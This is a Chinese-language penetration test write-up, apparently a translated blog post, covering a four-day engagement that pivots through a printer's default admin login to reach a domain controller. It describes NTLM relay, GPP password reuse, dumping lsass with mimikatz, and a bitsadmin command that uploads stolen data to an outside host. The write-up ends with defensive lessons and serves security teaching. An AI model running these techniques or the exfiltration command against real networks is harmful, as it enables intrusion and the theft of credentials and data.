一次神祕的測試——通過印表機找到父域控制器
最近,我參與了一個安全測試專案,在這個專案中,測試方要求我們在不觸發他們的SOC(Security Operations Center)的情況下,竊取企業的內部資料。在測試期間,我被要求只允許進入一間會議室。至於如何進行入侵測試,這就是我的事情了,不過一切的測試都被限制在這間會議室,這意味著我只能通過這個會議室裡的電腦或其他裝置來攻擊了。
注:本次攻擊測試進行了4天,所有IP地址和系統名稱均經過修改,不反映真實的客戶端地址和系統名稱。測試期間,我在會議室安裝了思科VOIP系統即網路電話,以允許我使用網線。
第1天的攻擊測試情況
早上8:30我就開始了測試,主要目的是在不被企業的網路安全中心發現的情況下,竊取一些關鍵資料。當我將系統連線到網路時,我很快就得到了一個IP,不過這可能意味著沒有任何NAC。所以我接下來要做的第一件事是開始使用nslookup(Nslookup是由微軟釋出用於對DNS伺服器進行檢測和排錯的命令列工具)檢查網路中的域名伺服器。在大多數情況下,DNS往往會提供關於伺服器和系統的命名約定的大量資訊。然而,在我的測試環境中,除了知道攻擊物件的P地址為172.10.1.0,其餘什麼資訊也沒有。我甚至嘗試使用PowerShell Active Directory模組來查詢DC和DNS伺服器,但是也無任何發現。這個結果非常令人非常震驚,因為按著我的經驗,經過這一系列查詢,總會有一個DNS伺服器出現。因此我推斷,測試物件進行了NAC設定,我很可能陷入了沙盒防護中。
注:思科網路准入控制 (NAC) 是一項由思科發起、多家廠商參加的計劃,其宗旨是防止病毒和蠕蟲等新興黑客技術對企業安全造成危害。藉助NAC,客戶可以只允許合法的、值得信任的端點裝置(例如PC、伺服器、PDA)接入網路,而不允許其它裝置接入。
以上就是我在中午12點之前進行的攻擊測試,毫無收穫,此時我仍然不知道攻擊目標的網路環境是什麼。我甚至不能ping(利用“ping”命令可以檢查網路是否連通,可以很好地幫助我們分析和判定網路故障)任何系統,因為ICMP在防火牆就被阻止了。
icmp和ping的區別:
ping程式是用來探測主機到主機之間是否可通訊,如果不能ping到某臺主機,表明不能和這臺主機建立連線。ping使用的是ICMP協議,它傳送icmp回送請求訊息給目的主機。ICMP協議規定:目的主機必須返回ICMP回送應答訊息給源主機。如果源主機在一定時間內收到應答,則認為主機可達。
ICMP協議通過IP協議傳送的,IP協議是一種無連線的,不可靠的資料包協議。在Unix/Linux,序列號從0開始計數,依次遞增。而Windowsping程式的ICMP序列號是沒有規律。
對這個攻擊結果,我感到很沮喪,於是我從Impacket儲存庫中啟動了Responder和NTLM中繼,並自定義了有效載荷,藉此希望這可能會給我帶來一些攻擊資訊。但令人驚訝的是,我沒有得到任何線索。我的耐心在第一天測試結束時就這樣被耗盡了,於是我開始通過在膝上型電腦上啟動Network Discovery來搜尋SMB共享。
第2天的攻擊測試情況
由於第一天的測試情況很糟糕,我晚上回家做了充分的準備,以為第二天的測試做好準備。由於我還沒有實現對目標網路的基本識別,於是我決定採用在極端隱身模式下使用Nmap的老方法。nmap是一個網路連線端掃描軟體,用來掃描網上電腦開放的網路連線端。確定哪些服務執行在哪些連線端,並且推斷計算機執行哪個作業系統。雖然利用這個極端方法可能會花一兩天時間,可我也不擔心。我從172.10.1.0-172.10.4.0的網路範圍內的隨機IP上開始對埠445進行單獨掃描,到下午12點30分,掃描完成,我在該網路中只發現了3個系統(全部是unix)。說實話,這個結果很令人吃驚。在對一些選定的公共埠執行緩慢的服務掃描後,我意識到埠8443和8666處於非常活躍的狀態。通過檢查,我發現這些是Xerox C60-C70裝置(一種印表機和影印機的混合辦公裝置)。但在訪問這些埠時,我發現它們卻用的是web伺服器,並提供了一個要登入門戶。利用我在OSCP(滲透測試認證)中學到的知識,我在網上上搜索EFI Fiery Server的預設密碼,發現預設憑證是admin: fier. 1。非常幸運的是,該憑證可用,我獲得了一個具有管理許可權的Web門戶。
我發現這些都是基於PHP的,門戶(3.0版)已經過時了,這意味著這個門戶易受LFI(Local File Include,本地檔案包含)攻擊,但目前我還無法在該門戶執行任何檔案。通過進一步列舉,我發現可以通過門戶本身啟用FTP、電子郵件和SSH伺服器。另外我還通過我的個人FTP啟用了所有印表機掃描的備份,由於印表機在預設情況下沒有任何安全配置,這意味著如果有人掃描任何機密檔案,都會被我獲取其中的內容。
我嘗試了PRET (一個印表機開發工具包),以期望有進一步的利用,但沒有發現任何東西。於是我試著插上印表機,進入ssh,卻發現它有兩個不同的網路介面。這意味著有兩種不同的網路,其中一個是隱藏在我的網路中,只能通過印表機訪問。根據我的經驗,我快速設定了portforward(portforward指的是包轉發機制,其本質是防火牆的配置策略)並配置了proxychains,以找到DC和DNS伺服器,從而啟動響應程式並等待一些系統出現。果不其然我得到了大量的NetNTLMv2雜湊,但由於我在此環境中不能使用crackmapexec(CrackMapExec,簡稱CME,是一款後滲透利用工具,可幫助自動化大型活動目錄(AD)網路安全評估任務)執行任何操作,因為SMB簽名在所有系統上都是啟用的。同時,我也開始使用GTX1050ti顯示卡和Hashcat(一個HASH暴力破解工具)在我的系統上破解Net-NTLMv2雜湊,但是什麼也沒有找到。此時,我的密碼列表已經用完了。然後我開始再次搜尋SMB共享,因為我現在已經知道DC,並且找到了SYSVOL (LOGONSERVER)目錄。
根據過往的步驟,現在我要做的第一件事是導航到SYSVOL目錄並開始搜尋groups.xml檔案。果不其然,我找到了兩個檔案,一個不包含任何密碼(目前已經修改)和另一箇舊的groups.xml。它最後是在2011年建立和修改的,並儲存在不同的資料夾中,所有其他未使用的舊指令碼都儲存在這些資料夾中。我曾試著使用gp3finder.exe解密舊groups.xml的密碼,並嘗試使用本地管理員的groups.xml密碼登入到遠端系統,但都無法做到。不過我相信,我一定可以從舊的groups.xml檔案中得到點什麼。
這時,我又返回到執行responder和ntlmrelay的Linux裝置上,卻發現我已經使用了專門繞過賽門鐵克而設計的自定義載荷訪問了其中一個系統。
既然繞過了安全防護,現在我要做的就是開始搜尋目標使用者,並確認是否能夠升級我的許可權。此時,我發現了一個執行空格而沒有雙引號的Foxit服務(PDF文件核心技術與應用服務)。可以利用它來做一些文章,因為我發現的目標使用者也可以在C盤中進行編寫。但後來我發現這個判斷是錯誤的,因為我發現的目標使用者只有權在C盤中建立資料夾而不能複製或寫入檔案。現在我要做的下一件事就是檢查我的使用者還有哪些其他許可權,但不幸的是,我的使用者不在RDP 協議元件中。
這麼一番操作下來,已經是下午3點了,於是我果斷地放棄了Bloodhound,並開始想辦法迅速升級我的許可權。以下是我發現的一個有趣的使用者:
該使用者是域管理員組中的一個MSSQL服務帳戶,其密碼一年多來沒有更改過。根據我的經驗,管理員通常不會更改服務帳戶的憑證。他們的通常習慣是,如果密碼不被攻擊就不修改。因此,我只嘗試了舊的組。因此,我嘗試使用舊的groups.xml密碼登入系統,幸運的是,這個使用者啟用了互動式登入。我得以在我的膝上型電腦登入到這個系統,進去該系統後,我現在就可以以域管理員的身份進行操作了,但在使用2012 Server的MSSQL DB System中,我可以在沒有任何UAC的情況下啟動CMD。我不想使用服務帳戶登入DC / AD,因為此時我還不想挑戰SOC,以防出現任何意外。所以,我快速啟動工作管理員,轉儲lsass.exe記憶體並通過RDP將其下載到我的系統。在lsass.exe轉儲中,我使用mimikatz離線提取密碼雜湊,並找到一個有趣的使用者憑證—— Level3-INFRA-PUM(出於安全原因,名稱已更改)。這個發現對以後的攻擊異常重要,因為我可以在該域上對該使用者執行LDAP查詢,查詢後,我發現這是Privilege User Management的一個Level 3 基礎設施管理員帳戶。在該使用者帳戶的說明中就提到了與此使用者關聯的計算機主機名,我使用域憑證登入到PUM的Web門戶,發現門戶管理並沒有啟用多因素身份驗證。為此,我還對此進行了一些額外的研究,結果發現測試公司的安全中心進行了LAPS設定。所以為了進行遠端系統登入,我不得不從PUM獲取密碼,然後才能登入到本地管理系統。這就是我無法使用GP3密碼以本地管理員身份登入的原因,因為他們已經停止使用groups.xml進行密碼管理。我通過PUM訪問了域管理員的密碼並訪問了域控制器,但發現這只是一個子域控制器。在兩個不同國家或地區的另外兩個域控制器與此係統相連,通過查詢域控制器,我發現信任是雙向的。於是我試圖登入到子域控制器,但由於某種原因無法登入。以上就是第2天的收穫,我至少對系統中的一個域控制器進行了攻擊。
第3天的攻擊測試情況
按著第二天的計劃,我原以為今天就應該成功竊取測試公司的核心資料,但在檢查組策略時,我意識到安全中心的人員已經禁用了除“IT支援”和“域管理員”組之外的所有使用者的RDP。所以目前遠端通訊的唯一方式是Team Viewer(TeamViewer是一個能在任何防火牆和NAT代理的後臺用於遠端控制的應用程式,桌面共享和檔案傳輸的簡單且快速的解決方案),我顯然不會很快接觸到它。為此我在DC上使用了來自Sysinternals的Sharenum來檢查所有可能連線的共享驅動器,並在目錄中找到了大量的SMB共享。其中就有很多敏感資訊,包括會計部門的銀行憑證,於是我決定要獲取這些資料了。我使用BITSadmin將所有副本下載到印表機,具體命令如下:
bitsadmin.exe /transfer upjob /upload /priority normal http://192.168.x.x/data.zip D:\temp\data.zip
然後通過WinSCP將其下載到我的系統。
如果我能夠理解組織的AD結構的內部工作原理,那就更好了,因為我想使用ADExplorer (Sysinternals的另一個工具) 建立了一個計劃任務,以便我下班之前,讓整個Active Directory處於持續活動狀態,以建立整個活動目錄的快照。
第4天的攻擊測試情況
通過檢視AD快照,我很高興看到在隱藏的共享驅動器中建立了一個400MB的檔案,我後來將其下載到我的系統中。至此,我就可以訪問所有組策略以及整個域中的所有物件,如果我需要一些資料,我完全可以離線查詢這些物件。不過,我還是決定更深入地檢查LAPS密碼,以為帳戶描述中提到的不同域名的域使用者找到對應的密碼。通過調查,我發現這個使用者沒有在整個組織的任何地方登入過。通過檢查BloodHound匯出的相關資訊,我可以再次確認,這個使用者從未在任何地方登入過。這就很有趣了,因為所有其他域控制器管理員都至少在一處或多處登入過。然後我嘗試使用這個域控制器管理員的creds登入到其他父域,以便我訪問它的父域控制器。
於是我向公司的安全中心提出請求,能否檢查這些父域控制器,得到的回答是:“這些域控制器超出了檢測範圍,檢測可以結束了。”
總結
1.永遠不要忽視你在評估中發現的哪怕是最細微的資訊,在你不知道這些資訊有多大的作用時,請保持對它們的關注。
2.經常給印表機使用的軟體進行升級,並確保它們的安全。因為它們是整個網路的一部分,與網路中的任何其他裝置一樣重要。
3.切勿將服務帳戶新增到域管理員組中;
4.為防毒軟體設定應用白名單;
5.切勿將舊密碼配置檔案儲存在域中的任何位置,對於攻擊者來說,只需搜尋creds 並升級它們的許可權,就可以得到這些內容;
6.切記,所有的裝置在使用後,請將預設密碼進行更改。